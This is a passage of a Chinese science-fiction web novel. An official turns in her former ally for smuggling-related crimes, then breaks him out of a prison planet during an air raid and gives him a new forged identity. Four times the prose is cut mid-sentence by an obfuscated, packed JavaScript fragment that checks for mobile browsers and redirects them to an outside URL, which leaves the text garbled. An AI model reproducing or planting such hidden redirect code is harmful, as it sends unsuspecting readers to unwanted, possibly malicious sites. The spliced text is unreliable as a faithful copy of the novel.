“不瞒你说,虽然在你眼中我和他们是一伙的,但我与他们之间算不上什么朋友。”百里寻笑了笑,“在入学的前一天,我父亲就给了我一份墨菲学院学生名单,特别标注出每一个学生的家庭背景,父母在何处任职,家里是经商还是从政,家里人有没有能人异士……总之,凡是有结交价值的我都必须记下,并且想方设法和对方成为‘朋友’。” 宁以歌抬眼看他。 “这一切都是为了我的家族企业,你也知道的,百里家族虽然在政府手底下经销军火,但也有自己的产业链,这条地下产业链想要顺利经营就需要打通许多关系,拥有很多盟友。这是没有办法的事。”百里寻状若轻松地耸肩。 宁以歌:“很巧,我也在入学前也曾获得过一份学生名单,不过内容和你不太一样,上面写着每一个同学的精神体、精神力等级和异能。这是老师对我的特别关照,我需要记下这些,以防日后万一有什么情况能及时对自己与对方的精神力差距有所预估,从而保护自己。” 百里寻垂下眼睛,额前的白色鬈发遮着他眼中的光:“过去的事,我对你说一声抱歉。你作为学院有史以来唯一一个C级,当年有很多不容易是我没法亲身体会的。” 宁以歌收起了文件,问道:“你怎么突然跟我叙起旧,还说这些话?” 餐桌上用以装饰的投影在鲜花上的虚拟蝴蝶翩翩飞舞,透明的翅膀后的百里寻的脸有些模糊,宁以歌耐心地凝望着他。 “我不想再继续参与调查了。” 电子蝴蝶落在桌上,倏地碎成光点消散。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203769|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宁以歌眯起眼:“你说什么?” “我说,”百里寻像下定某种决心般硬气地挺直上半身,“我不想再继续跟你查到底是谁给我下药,又是谁在陷害我了!这些我都不想再管了。” 他停顿了一下,看见宁以歌的脸黑得可怕,暗沉的目光仿佛在看一个死人。百里寻紧张地滚动喉结,却没等到宁以歌的反驳,于是又继续往下说。 “再说了,到现在他们又没真的把我怎么样,反倒是现在我天天思考这些问题搞得自己很累。今天看见弗兰克的下场我忽然开始害怕,也许我应该安分守己,弗兰克就不会出车祸,我也不会稀里糊涂遭到算计爬上你的床。”百里寻越说越激动,“我就不应该靠近第二星天上楼这个敏感地点,也不该继续追查下去,就是我的持续行动导致后续的一连串结果。” 百里寻又停顿了一下,还是没听到宁以歌的声音。他观察着宁以歌的脸色,她在刚刚过去的一分钟内又恢复了平静,眼神也没那么吓人了。百里寻不禁感到一头雾水:“你就没什么想说的吗?” 宁以歌:“你想好了?终止我们之间的合作?” 百里寻:“我想好了。” 宁以歌:“我再问一遍,你确定?” 百里寻郑重点头:“我确定。” 宁以歌沉默地注视着他,呼吸很平稳,情绪没有起伏:“好,我同意。” 这一下令百里寻满脸茫然:“你真的同意了?” “对,我同意你退出,后续我来处理。再说了,我没有什么立场强留你,毕竟我们之间是平等的合作。”宁以歌自然地点头,仿佛百里寻谈论的只是明天吃什么这样稀松平常的话题。 没有料到宁以歌竟然如此干脆,百里寻原本编排的一大堆用以争论的腹稿全部报了废。 “不过,我得处理一下我们俩光脑中的联络记录。”宁以歌率先打开自己的光脑,果断删除与百里寻的所有聊天与通话记录,确保对方没有在自己的光脑中留下任何痕迹。而后示意百里寻也打开光脑照做。 等宁以歌亲自检查数遍确保万无一失后,她利落地关闭光脑,目光冷淡:“就当我们从来没有私联过。” 百里寻看着已经被宁以歌清理一通的光脑,眼底流露出一丝怅然。 最后临别时,宁以歌突兀地对他露出一个平静的笑容,语气温柔异常:“我只希望,未来的你不会后悔今日的决定。” 当天夜半时分,阿德里安带着制作好的船票如约造访了宁以歌的住处。 “宁姐,今天突发消息,航船更改了日程,四天后从第五星到第十三星的航船就会提前出发。”阿德里安说,“所以伊莎紧急更改了一下船票信息,保证还能正常使用。” 宁以歌接过包裹:“多谢。” 因为航船提前出发,所以百里寻才匆忙向自己宣布退出这场阴谋的调查,不是他真的害怕自己会成为第二个弗兰克,而是他更着急于跑路。 只可惜…… 宁以歌拆开包裹,百里寻伪造的身份证件,虹膜信息以及船票的备份尽数掌控于她的手中。 她握住了他的把柄,他却全然不知。 15. 抓捕 原本还在听下属汇报工作的宁以歌突然接到了夏洛特的通讯,她还没来得及问一句怎么了就听见夏洛特急忙地通知她去安全部大楼开会。 并且强调让她一个人来,不要带司法部的其他职员。 宁以歌的心中涌起不好的预感,她沉默片刻,叫来助理把自己近期的工作迅速安排好,能推的会议通通推掉,不重要的工作内容交给下属,重要的让另一位副部长艾罗去处理。 简单安排好后,宁以歌坐上来接自己的政府专车,车辆收起车轮起飞,沿着固定的空中线路驶往安全部大楼。 宁以歌踏上安全部的高级员工专属电梯,电梯是透明的,从电梯内能够俯瞰首星都城最繁华地区的景色。 日薄西山,赤色的晚霞染红了这座城,这座宁以歌曾经在梦中幻想的城市此时却在她的脚下被她俯视着,那么渺小,那么触手可及。这一刻,宁以歌忽然走神了,直到一股烟味飘入,宁以歌猛然惊醒,电梯门已经打开,温柔的机械女声提示:“已到达三十层。您参与的会议在左手边二十米处3001会议室召开。” 宁以歌走出电梯,刚转身就看见交通部部长祝寒靠在左边不远处的走廊窗边抽烟。 交通部部长竟然也参与此次会议? 宁以歌下意识深呼吸调整情绪,却吸入呛人的烟味,剧烈咳嗽起来,引得祝寒侧头透过薄薄的烟雾眯着眼看她。 祝寒打量着面前的年轻女人,她与宁以歌的交集算不上多,没有私交,只是处于同一个团队合作的同事。在她的印象中,宁以歌总是挂着恬淡的微笑,似乎愿意与任何人交好,可仔细观察时却能发现这个女孩的眼底无半分笑意,反而泛着冷意。 该如何形容这种冷意?就像一把拉满的弓,时时刻刻紧绷着弦将箭尖对准每一个人。 一个柔弱无力的C级精神体在B级、A级乃至S级生活的丛林中想要立足就必须比别人多看一些,多想一步。 此时那张年轻的脸咳得通红,脸上一贯的微笑已经挂不住了。 祝寒意味深长地看着宁以歌,说道:“这点烟味都忍受不了,我早说了,执政官阁下就不应该同意让你任职。万一出点小意外,对我们是毛毛雨,对你可就要了命。你要是出了三长两短可就拖累了司法部的其他人。” 一边说着,祝寒一边灭了烟头。 “劳祝部长挂心,我命硬的很。”宁以歌恢复微笑,状若无意地看了一眼祝寒身边的墙面,“倒是眼疾更能影响同事工作呢。” 祝寒微微一愣,转过身看清了边上墙上的显示屏正不断提示“禁止吸烟”。她沉默地再回头看向宁以歌,宁以歌却已经走进了会议室。 ……还真是一如既往的嘴巴狠,胆子大。 会议室几乎都是安全部的人,还有一小部分交通部的,只有宁以歌一个人来自司法部。 祝寒紧跟着宁以歌入座。 见人已到齐,安全部部长卡罗尔开门见山:“请诸位来是想商议有关于L85走私案的下一步计划。” 夏洛特接着进行大致的调查情况汇报,简单介绍完宁以歌差不多都知道的前情后,夏洛特的神情转而严肃:“起初L85生产链的五位负责人经过调查都没有问题,直到两天前,其中一位负责人林智冉遭遇了谋杀。” 宁以歌沉下眼神,她预料中的结果到来了。 “幸运的是,林智冉没死,虽然受了重伤却在今天恢复了意识,并且指认了凶手。”夏洛特顿住了,她的目光转向宁以歌,继续说,“杀他的人,是百里寻。” 宁以歌曾大张旗鼓担保的对象现在再次恢复了戴罪之身,会议中的众人齐齐看向她,目光中有嘲讽,有同情,更多是幸灾乐祸。 这张会议桌上只有宁以歌一个C级,只有她来自遥远的边境星球,也只有她在这次案件中扮演着出头鸟的角色。她是异类中的异类,虽然身为副部长,却与在场所有人并不完全处于一个社会层级。 “并且,另一位生产链负责人罗伯特在林智冉恢复意识的那天清晨自杀身亡,死前留下了一封遗书,遗书中他承认自己是百里寻安插在生产链的眼线,但因为百里寻没有支付给他承诺的报酬,所以产生了报复心理,并详细复述了自己如何做手脚掉包L85芯片栽赃给百里寻的。” 夏洛特简单地概括:“经过我们的调查,罗伯特遗书中所言非虚。” 宁以歌开口:“百里寻怎么谋杀林智冉的?” “百里寻在两天前的凌晨潜入林智冉的家中,使用控制金属的超能力调动林智冉家中的刀具杀他,却被浅眠的林智冉及时发现,林智冉找到机会报警,但我们晚了一步,到场的时候百里寻已经跑了,只剩下奄奄一息的林智冉。” 宁以歌:“林智冉怎么确定是百里寻的?看见脸了吗?” “林智冉说是一个戴着帽子和面具的身高将近一米九的男性,虽然对方没有留下生物信息,但打斗过程中林智冉看见了他帽子下面的白发。”夏洛特说,“白发,还会控制金属,精神力不低,极有可能就是百里寻。” 宁以歌陷入沉思,她上一次见到百里寻是三天前,照时间来说,似乎是有这么个可能性。 祝寒说道:“宁部长这是不愿意接受现实呢,夏洛特你再说说其他证据。” 夏洛特看向宁以歌的眼中流露出一丝关切,但仍然继续说:“今天邀请交通部的各位参会也是与百里寻有关,因为当我们赶到百里寻住处时却发现他已经跑了!我们询问百里家的人,只问到百里寻曾声称要出去度假散心。” 祝寒:“我们部门确实查到十五个小时前百里寻搭乘了从首星出发前往第五星的星际航船,这会儿应该抵达第五星不久。第五星是联邦最重要的星际中转站,集聚了大量乘客和航线,而百里寻的购票信息就在第五星断了。” 第五星没有任何度假区,土地贫瘠也没有任何好风景可以观赏,百里寻的目的地不可能是那里。 唯一的可能就是百里寻伪造了身份信息购买了下半程的船票继续航行。 交通部已经找了个合适的借口延期了第五星上的所有航船,但终究只能拖延很短的时间,否则不仅会引起百里寻的警惕,还会对联邦的交通秩序造成难以挽回的影响。 这也是现在最棘手的一点,第五星的航线和航船太多了,根本难以查起。如果全部叫停一艘一艘地查过去不知道要耗费多少人力和时间。 交通部的人参与这场会议也是为了协助安全部的调查小组寻找合适的解决办法。 总不能眼睁睁地让重案的犯罪嫌疑人就这样逃之夭夭。 他们迅速讨论寻找着尽快控制住百里寻的方法,势必要在尽可能短的时间内找到他的踪迹。 就在这时,宁以歌幽幽开口:“也许我知道百里寻在哪。” 整间会议室陷入寂静,他们诧异地看向方才还处于难堪境地的宁以歌。 宁以歌从上衣内侧的口袋中取出一张联邦星际船票,摆在桌上。她一直贴身随带着百里寻的关键把柄,是因为她早就料到会有这么一刻,这是从百里寻终止与她的合作的必然结果。 “这应该就是他伪造身份购买的船票。” 祝寒的助理起身拿走船票, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203770|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细观察一番,向祝寒点头:“确实是联邦船票,是今天晚上九点十五启航的第五星到第十三星的航船。” 祝寒冷着脸接过船票,又递给另一名下属:“扫描下,看身份信息是什么。” 她身旁的下属取出一个微型扫描仪器,对准船票某处轻轻划过,悬浮屏展开,上面呈现着购票人的相关信息。 安全部配合地在星舟联邦居民信息库中现场搜索这个名字,果不其然,没有任何结果。这是一个假的身份信息。 祝寒:“你从哪得到的船票?怎么知道这就是百里寻的?” 宁以歌坦然回答:“不瞒您说,就在三天前,百里寻私下找我想要感谢我那日庭审的举动,却不慎将船票遗落。我捡到了。但当时我并不知道他想做什么,也不知道船票的信息是伪造的,于是选择静观其变,没有及时上报。” 其实这个借口很粗糙,但对于此刻的调查来说,找到百里寻比验证宁以歌理由的真假更重要,即使他们心有疑惑但还是选择相信宁以歌的话。 宁以歌:“根据调查小组所查到的内容,我猜百里寻是想前往第十三星偷渡出联邦边境,而最近前往第十三星的船只只有这一艘,所以就算他遗失船票再造出一个假身份,也依然会选择这趟航船。你们可以先对这艘航船的所有乘客进行排查,相信你们不会没有任何收获的。” 祝寒笑了起来:“我还以为宁部长拿到这么关键的信息会选择包庇呢,毕竟是您担保的对象。” 宁以歌神色平静:“我向来对事不对人,我只认证据。” * 乔装打扮的百里寻染了毛发颜色,又戴上□□,混入等待登船的人群中。就在刚刚,第五星的候船中心发布异种入侵警报,将所有航船向后延期,并安抚乘客交通部会迅速处理好,最迟在两个小时后恢复所有航线。 这是一个不算罕见的情况,第五星的土地贫瘠不适合人类生存,却在地底孕育着大量的异种。联邦的交通枢纽建在环第五星的高空中,但不排除碰上异种活动期对交通枢纽产生影响。 百里寻没想那么多,耐心地在候船中心等待着。 不到一个小时,广播中宣布已驱逐所有入侵异种,航线全部恢复正常,将按批次启航。 百里寻站进排队等待上船的队伍中,前方的检票机器在挨个验证船票信息与乘客虹膜信息是否匹配,但不会针对个人信息进一步验证。只要船票是真的,并且也录入了面前乘客的虹膜信息,他就能顺利登上这趟飞往第十三星的星际航船,获得真正的自由。 检票机器在为百里寻检票时,绿灯亮起,意味着百里寻通过了验证,可以登船。 就在百里寻松了口气,迈步跨入入口时,检票机器两旁的安保机器人瞬间激活,它们以迅雷不及掩耳之势扑了上来,化作巨大的镣铐将百里寻的身躯紧紧锁住,并且同时往百里寻的脖颈注射了精神力抑制剂和麻醉剂。 百里寻摔倒在地,不一会儿就完全失去了行动能力。 安保人员在他模糊的视线中冲过来,百里寻强撑着最后一丝意识满脑子却只有一句话:自己是怎么暴露的? * 百里寻第二次站在了联邦政府的中心法院。 法庭上的一切景象都是如此熟悉,熟悉的国徽,熟悉的法官,熟悉的阳光。 他微微侧头看向旁听席,宁以歌穿着那套他熟悉的深紫色制服端坐在其中,低头不知道在写着什么,在百里寻看她的时候始终没有抬头。 只是当初救他的那个人不会再如救世主般闯入法庭向庭上众人担保他的清白了。 16. 逃生 百里寻被送进第十星上的重犯监狱时仍然觉得这是一场梦。 这一系列事故的发生就像一出荒诞不经的戏剧,而百里寻是被随机选中穿越到戏剧中充当主演的观众,他不知道故事的背景与走向,只是稀里糊涂地被其他角色推着走完了所有情节,最终在落幕前得知他主演的故事是一场主角必死的悲剧。 百里寻面如死灰地回想起过去大半个月里经历的一切,他只是想抓紧时间跑路,彻彻底底地摆脱星舟联邦这些阴魂不散各怀鬼胎的人,却一转头发现泄密L85、谋杀林智冉、操纵L85生产链负责人、畏罪潜逃等等数不清的罪名一股脑全部扣了上来,把他砸了个稀巴烂。 而他在这无数罪名和完整的证据链下连声冤枉都没来得及喊就被丢进了牢里,与四面无窗的银色牢笼相伴至今。 虽然最终判决没那么快下来,但看这架势,联邦已经认定百里寻就是确凿无疑的罪犯,才会将他直接关进重犯监狱,后续的提审也会采取远程的形式,不会让他再有回到首星的机会。 百里寻坐在牢房中,靠着特地为他准备的包裹着防止他会一头撞死的柔软海绵的墙面,无力地仰头盯着天花板上的通风口发呆。 他脖颈上的抑制环在每隔一个小时就向他的身体中注射抑制精神力的药剂,微微的刺痛令百里寻啧了声,目光里流露出一缕恨意。 百里寻被逮捕后的第七天结束第一次庭审后就送进了这里,如今他已经十天没有见过天空了,更是半个月没有再能够与他的精神体阿金联系上。在该死的加强版精神力抑制下,他的精神图景完全封锁了。 监狱也完全杜绝了罪犯之间的联系与交流,罪犯没有集体活动的机会,只能终日呆在狭小的牢房里,连一日三餐都靠冰冷的机器人来送。只有每日清晨,会有全副武装的狱警挨个检查罪犯们的情况,防止有越狱或者死了没人发现的情况发生。 第十星是星舟联邦的重犯监狱所在地。联邦没有死刑,但有终身监禁,能被押送到第十星监狱的几乎全是判了终身监禁的重刑犯,而这些罪犯的心理状况和生理情况这里的狱警根本不关心,死了对于狱警和联邦来说都是好事——虽然表面上还是会给他们提供医疗服务。 百里寻抽动嘴角,虽然这里的饭菜还算不错,但每天困在狭小的牢房里没有透气的机会,不出一个月,他的精神指定出问题。 但他不能放任这种情况的发生,倘若他精神错乱,那些莫须有的罪名就能更加容易地钉在他的身上了。 虽然百里寻有反抗的念头,但他完全没有反抗的手段。 整个牢房只有通风口通往外面,却狭小难以通行,而牢房每一次开门都至少有三名狱警盯着,百里寻根本找不到机会越狱。 三天前的上午通风系统还出了问题,差点没把百里寻闷死在里面。幸好狱警及时发现了,并请来了维修人员来修理,同时还让维修人员进了牢房挨个在通风口安装了一个备用通风系统,保障主系统出了问题的时候牢房里还能保持正常通风。 百里寻百无聊赖的时候又开始盯着这个新装上去的通风装置观察。 心想,要是这玩意里面有炸弹就好了,把墙炸出个大洞,他就能跑了。 不知道是不是百里寻的心理作用,他恍惚中仿佛真的听见通风装置里传来不一般的声响,滴滴答答,像钟表秒针走动的声音。 第三声滴答声响起的时候百里寻一跃而起,不对,不是他的幻听,是这玩意里面真的有不对劲的动静! 一瞬间,百里寻汗毛竖立,别人不一定能听出来,但他可以,毕竟他的精神力等级可是S级,五感都超越常人。虽然精神力被限制了,但精神力对他生理上的影响却没有消失。 百里寻狂按墙上的紧急按钮想叫来狱警看看。 可当他按下按钮的第一秒,整个监狱就响起刺耳的警报声。 “防空警报!防空警报!袭击将在三十分钟后到达地面,请做好防空应急准备!” 什么玩意儿! 百里寻懵了,但他手上也没停止按铃,天上要掉炸弹是一回事,他面前这个通风装置的问题又是另一回事。并且这个装置的问题对于百里寻来说更危险、更紧急。 百里寻的手快按断了,狱警也不见踪影。他只听见门外的走廊上传来许多人匆匆的脚步声,却没有一个人为他的紧急铃声停留。 如果这个新装上去的通风装置真有炸弹在里面,那么就意味着整个备用通风系统都有问题,搞不好会跟鞭炮一样一炸炸一串,把他们这些罪犯们全炸死在牢房里。 百里寻身上的冷汗浸透了他的囚服,既然狱警不想管他们,他就只能自己想办法! 他拼了老命去扯脖子上的抑制环,抑制环却紧贴着他的皮肤纹丝不动,他又试图砸门踹门,可监狱的墙面和门体都太过厚重,他根本无法撼动。 焦头烂额间,地面骤然震动,巨大的轰鸣声伴随着剧烈的地震席卷而至,百里寻没站稳跌坐在地上。 空袭开始了。 谁不长眼的没事干空袭联邦监狱干什么?百里寻痛骂,他可不想就这样不明不白死在这里! 广播中是狱警的声音:“请各位不必慌张,第十星监狱建筑采取的是高强度防空结构设计,不会倒塌。” 广播中的话还没落音,不远处就传来令百里寻十分在意的爆炸声。这爆炸声不像来自于外界,而是建筑内部。 是别的牢房的通风管道! 随着一声又一声的爆炸声响起,百里寻的耳中捕捉到水泥砖石开裂的声音。监狱的厚重墙体里面的材质依然是传统的水泥钢筋,这声音是墙体在开裂! 百里寻紧紧贴着距离通风口最远的牢房门站着,死死盯着通风装置,耳中细微的滴答声成了真正的催命符,现在他能等待只有命运的降临。 第十星除了重犯监狱还有联邦最大的垃圾处理厂,终日焚烧来自其他行星的垃圾令第十星的空气五毒俱全,人类不可能不在任何防护中呼吸第十星的原生空气。 现在通风系统再次被破坏也意味着这些有毒气体的到来。 通风装置失效,外界的有毒气体在渗入。百里寻捂住口鼻,无力地一边抵抗毒气一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209200|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边等着自己牢房的炸弹爆炸。 就在百里寻觉得自己的人生已经走到尽头时,身后紧靠着的牢房门开了。 百里寻一个踉跄,回过身,一个比他矮半个头的一身灰色轻甲的狱警面对着他,抬手就将呼吸面罩扣上他的脸,面罩连通着便携式氧气罐,百里寻终于呼吸到了干净的气体。 “低头,我要取下你的芯片。”狱警的脸上覆盖着单向透明面罩,声音也是经过狱警配备的变声器处理的,为的是防止被重刑犯记住。 每个重犯都会被联邦在后颈植入定位芯片。百里寻茫然了一瞬,又乖乖照做。 狱警手起刀落,一块连带着芯片的血肉被硬生生剜了下来,鲜血从后颈流淌到胸前,百里寻咬牙没吭一声。 狱警将剜下的血肉丢进牢房里,又将百里寻从牢房里拽了出来。 百里寻这才发现牢房外的走廊空空如也,其他牢房门都紧闭着,狱警已经疏散完毕,这条走廊只有他和面前的狱警,以及狱警身后拖着一具尸体的另一个狱警。 另一个狱警将尸体也紧跟着丢入百里寻的牢房中,随后对第一个狱警说:“我来断后。” 第一个狱警点点头,示意百里寻往前跑:“跟着我!” 这名狱警很熟悉逃生通道,仅仅用了半分钟就将百里寻带到了监狱后门前。狱警从背后的应急包里掏出一套全新的狱警轻甲递给百里寻:“换上。” 监狱在接二连三的爆炸声中岌岌可危,百里寻甚至嗅到了从建筑另一侧传来的物体焚烧的气息,他一刻不敢耽误,迅速换上狱警的衣服,带好防护面罩,和救他的狱警一起离开监狱,混入不远处的逃往救生航船的狱警队伍中。 但他们俩没有登上那艘救生航船,这名狱警带着百里寻跑了一半就不着痕迹地脱离了队伍,往另一侧跑去。 敌方的空袭还在继续,炮弹以监狱为核心目标接二连三地落在第十星的地面上,甚至就要炸到正在逃跑的二人。 一道坚硬的岩石墙拔地而起,将二人与爆炸产生的余波隔绝开来,百里寻惊讶地回头看了一眼,是控制岩石的异能者的手笔。 一艘不起眼的小型私人星际飞船在第十星山地的阴影中划出一道银光,飞驰而来,最终稳稳停在百里寻二人面前,打开了船舱。 狱警先一步上了船,转头看着百里寻,向他伸出手,语气不容拒绝:“要么跟我走,要么死。” 百里寻看了一眼身后火光冲天持续坍塌的银白色半球体监狱建筑和不断掉落的炮弹,求生的欲望大过了他对面前人身份的疑虑。 他握住狱警的手,一步登上飞船。 驾驶座上坐着方才说要为他们断后的那名狱警,见他们上船坐好便一键关门,人为操控的巨大岩石墙紧护在飞船的四周,保证飞船顺利升空,离开第十星的表面,头也不回地冲向天空。 百里寻稳定呼吸,问道:“你们是谁?” 身旁的狱警摘下了遮面的头盔,露出了宁以歌的脸。 她因为剧烈运动的脸上全是汗水,表情却依然平静:“别来无恙,百里寻。” 17. 宁希 百里寻愣住了,他早该想到的,控制岩石正是宁以歌贴身保镖安迪的异能。 见百里寻翕动嘴唇半天没说话,宁以歌皱了下眉,又轻轻叹气:“头伸过来。” 百里寻不知道她要干什么,只是此刻的他心乱如麻,于是下意识继续听宁以歌的话。 宁以歌的手中多了一把特制钥匙,她扯住百里寻脖子上的抑制环,不到一秒就取下了它。抑制剂停止注射,百里寻的精神力和异能终于得到了解放。 千言万语不知道从何说起,百里寻只先说出简短的感谢。 道完谢,百里寻还有点懵:“你们现在要带我去哪?回首星吗?” 宁以歌无语地瞥了他一眼:“百里寻,我发现我每次见到你,你都在刷新我对你的认知。” 百里寻:“什么认知?” “你根本没有一个百里家继承人该有的样子,反而老干出一些天真无知的蠢事。比如你这次漏洞百出的偷渡计划,比如你刚刚问出的这句话。”宁以歌嫌弃地看着他,“我带你回首星是要去自首和你一起蹲大牢吗?你信不信我们一落地就被联邦警察逮起来了?” 驾驶座上的安迪回过头大笑:“百里寻,我们是来帮助你越狱的,这是犯罪行为!” 被两个人轮番嘲讽,百里寻的脸色白了又红,但他没有任何理由反驳面前两位救命恩人,只得忍气吞声:“那我们现在是要去哪里?” “第二星。” 小型飞船升空离开地面袭击范围后一转头往第十星背面的垃圾清理区飞去。第二星是星舟联邦的垃圾主要产生地之一,每天有数以千计的垃圾运载飞船来往于这两个行星之间。 宁以歌的飞船就在垃圾运载飞船离开第十星的轨道边上安静等待着,恰好有一艘垃圾运载飞船正在驶离第十星,安迪便操作飞船嗖地冲了过去,收起多余的机械部件,像鮣鱼一般紧紧吸附在垃圾运载飞船的底盘上。 垃圾运载飞船由于会经常运载高污染物,走的是特殊通道,不会与普通交通航船路线产生交叉,而且很快。 路过检查关卡时,宁以歌的飞船会短暂与运载飞船分离,绕过关卡,再重新吸附在垃圾运载飞船上继续航行。 这一番操作倒是解答了百里寻关于小型飞船的燃料如何支撑他们从第十星飞回第二星的疑问。 “你们这样操作不会被探测到吗?” 宁以歌:“我的飞船有反探测隐身装置,你不用担心。” 又能吸附运载飞船,又能反探测,百里寻十分震惊:“你的这艘飞船装备怎么这么高级?” 宁以歌没有回答他的话,只是从船舱中拿出一个早就准备好的箱子,在百里寻面前打开:“在抵达第二星之前,你需要换一个新的身份。” 百里寻的目光落在箱子里,有新衣服,新ID卡,以及各种他或眼熟或陌生的药剂和器械。 “先更改虹膜信息,你之前也改过,应当熟悉流程了。”宁以歌捏起百里寻的下巴,取出固定器械将他的头部固定住,“眼睛不要乱转。” 宁以歌的右手上多出了一个注射器,她利落地吸取药剂,然后将极细的针头对准百里寻的眼球扎了下去。 熟悉的灼热感在眼球中弥漫,两针扎完,百里寻闭上了眼睛。 “还需要更换你的眼睛和头发颜色,你现在这配色跟电灯泡一样,太显眼。”宁以歌说,“张嘴。” 百里寻眼睛没有睁开,但依然顺从张嘴,就感觉到一股刺鼻的药味顺着液体滑入胃中。 “染色剂二十分钟后生效,等到生效的时候,你的虹膜差不多也改变完成。”宁以歌又将一张柔软的面具贴上百里寻的脸,“这是□□,在第二星见过你的人太多,你必须不能露真容。” 宁以歌又脱下百里寻身上的狱警装备,拉过他的左臂,说道:“我需要给你打精神力抑制剂,这种抑制剂是只在内部流通的K型抑制剂,监狱给你打的是E型。K型抑制剂会降低你的精神力水平,以应付外界检测,你对外只能表现出A级精神力水平。这种抑制剂像一扇门,你可以自行打开K型抑制剂的束缚重归S级,也可以关闭它继续伪装成A级水平。明白了吗?” “明白。”百里寻说,“这些都是你从黑市搞的?我以为你不会去黑市这种地方。” 宁以歌轻笑一声:“想要达到非常规的目的必须采用非常规的手段。我能把你从监狱里带出来就说明我不是你想象中那样的人。” 宁以歌又补充:“之前你伪造身份时使用的虹膜变异剂是短期,我这次给你注射的都是长期药剂,至少能管用三个月,染色剂也是一样。也就是说,短时间内,你不能再回归真实身份。” 二十分钟到了,百里寻睁开眼睛,宁以歌递给他一副崭新的光脑,光脑启动镜面功能,投射出百里寻如今的模样。画面中的人黑发绿眼,五官虽然有些许变化,但大体上还能看见曾经的影子。 宁以歌有点意外地打量他:“这染色剂效果是随机的,没想到一下子白猫变黑猫了。” “我不是猫。”百里寻略有不满地嘟囔,又试着做了几个夸张的表情,这副□□和面部肌肉贴合极好,看不出任何问题。 “接下来,给自己取个新名字吧,我们再将你现在的个人信息录入空白ID卡中,完成新身份的录入。”宁以歌对百里寻挑了下眉毛,“最好简单点,方便记忆。” 百里寻只思考了一秒,他正要开口,宁以歌又说:“得跟我姓。” 百里寻噎了一下,第不知道多少次忍气吞声地说道:“宁希。希是希望的希。” “宁希,可以。”宁以歌飞速将ID卡与光脑链接,输入百里寻的新姓名,再逐步输入虹膜和面部信息,“不是我特意占你便宜,是你需要暂时以我表亲的身份呆在我身边,我也方便保住你的命。” “那我就是你的表哥?” 宁以歌看了眼百里寻:“可以。” “行吧,表妹,你说要把我带在身边,你要回首星工作的时候我不就得跟着你回首星,要是进入都城行政区,那里审查那么严,我肯定暴露呀。” “嘿,你这人这就叫上表妹了?”安迪的面罩降了下去,对百里寻怒目而视,“别真把自己当以歌亲戚了,你正常叫她名字就行!” 百里寻忙改口:“好的好的。宁部长,宁以歌。” 信息录入完毕,宁以歌抬起头,将ID卡递给百里寻:“我最近三个月会一直休假,不会回首星工作了。” “休假?”百里寻意识到了什么,小心地问道,“是因为我吗?” “差不多吧,你的事情很麻烦。我得停工一阵子。” 宁以歌的担保对象出了问题,执政官的秘书甚至亲自跑来向宁以歌传达执政官的意见,让她回家休息一段时日,待风波过去再处理后续。 没有直接处罚她,而是留足了缓冲时间已经是执政官予她的仁慈。 宁以歌:“所以我得尽量在这三个月里处理完这件事,否则会更棘手。” “你有信心吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214092|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁以歌的眼神依然坚定:“有没有信心都必须走下去。” 说话间,飞船已经抵达第二星。此时正是第二星的凌晨,这两个女人在太阳升起之前就完成了将百里寻从死牢中带出来的重大任务。 安迪将飞船驶入地下车库,这里是第二星的度假别墅区,车库与别墅是配套的私人区域。 他们坐着电梯直达别墅内部。 百里寻的阿金终于有机会跑了出来,宁以歌也放出未未,阿金变成了普通老虎的颜色,兴奋地在镜子中打量完自己的新模样后就一头扎进未未的怀里,连多余的眼神都没有留给百里寻。 百里寻暗骂这个见色忘父的玩意。 安迪也放出来自己的精神体小石头,三个动物相亲相爱,与这边三个人的严肃氛围形成鲜明对比。 “请你记住,百里寻这个身份必须已经死了。”宁以歌说,“监狱那边起了大火,能够烧毁尸体的基因信息,他们只能通过芯片核实身份。所以在其他人眼中百里寻已经死在牢房里了。” “我明白。” 